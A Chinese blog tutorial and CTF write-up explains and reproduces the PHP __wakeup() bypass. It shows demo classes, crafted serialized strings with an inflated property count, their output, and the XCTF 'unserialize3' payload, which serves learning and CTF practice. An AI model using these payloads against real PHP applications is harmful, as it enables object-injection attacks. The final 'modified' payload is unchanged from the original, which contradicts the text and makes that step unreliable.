__wakeup()失效漏洞原理和复现

__wakeup()函数说明在2.序列化漏洞之魔法方法
漏洞影响
PHP5 < 5.6.25
PHP7 < 7.0.10

漏洞原理

序列化后的字符串对象属性个数的值大于真实个数的属性就会__wakeup失效
比如
下面这个没有修改的__wakeup正常执行

1
O:4:"Site":2:{s:3:"url";s:3:"aaa";s:6:"twourl";s:3:"bbb";}

下面我顺便修改一个长度什么都可以改成1000就会__wakeup失效

1
O:4:"Site":1000:{s:3:"url";s:3:"aaa";s:6:"twourl";s:3:"bbb";}

实战

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Site {
//公用变量
public $url = "aaaa";

//__wakeup魔法方法
function __wakeup(){
echo "bbbb";
}
function __destruct() {
echo "cccc";
}
}
//实例化该类的对象
$a= new Site();
//序列化并输出出来
echo serialize($a);

输出的结果

输出的是

1
O:4:"Site":1:{s:3:"url";s:4:"aaaa";}cccc

然后进行反序列化
下面是正常的反序列化
上面的序列化的字符

1
O:4:"Site":1:{s:3:"url";s:4:"aaaa";}cccc

全部代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Site {
//公用变量
public $url = "aaaa";

//__wakeup魔法方法
function __wakeup(){
echo "bbbb";
}
function __destruct() {
echo "cccc";
}
}
//实例化该类的对象
$a= new Site();
//序列化并输出出来
//echo serialize($a);
//反序列化
$c=unserialize('O:4:"Site":1:{s:3:"url";s:3:"aaa";}');
//输出反序列化的内容
var_dump($c);

结果

字符串是

1
bbbbobject(Site)#2 (1) { ["url"]=> string(3) "aaa" } cccccccc

修改里面属性个数的值大于真实个数
修改前

1
O:4:"Site":1:{s:3:"url";s:4:"aaaa";}cccc

修改后

1
O:4:"Site":100:{s:3:"url";s:4:"aaaa";}cccc

下面就用修改后的来反序列化

全部代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class Site {
//公用变量
public $url = "aaaa";

//__wakeup魔法方法
function __wakeup(){
echo "bbbb";
}
function __destruct() {
echo "cccc";
}
}
//实例化该类的对象
$a= new Site();
//序列化并输出出来
//echo serialize($a);
//反序列化
$c=unserialize('O:4:"Site":100:{s:3:"url";s:3:"aaa";}');
//输出反序列化的内容
var_dump($c);

结果可以看见已经没有了__wakeup()

ctf例题”unserialize3”

地址https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=1&id=4821&page=1

1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
1
2
3
4
5
6
7
<?php
class xctf{
public $flag = '111';
}

$a = new xctf();
echo serialize($a);

结果

1
O:4:"xctf":1:{s:4:"flag";s:3:"111";}

我们修改里面属性个数的值大于真实个数就可以了
修改后

1
O:4:"xctf":1:{s:4:"flag";s:3:"111";}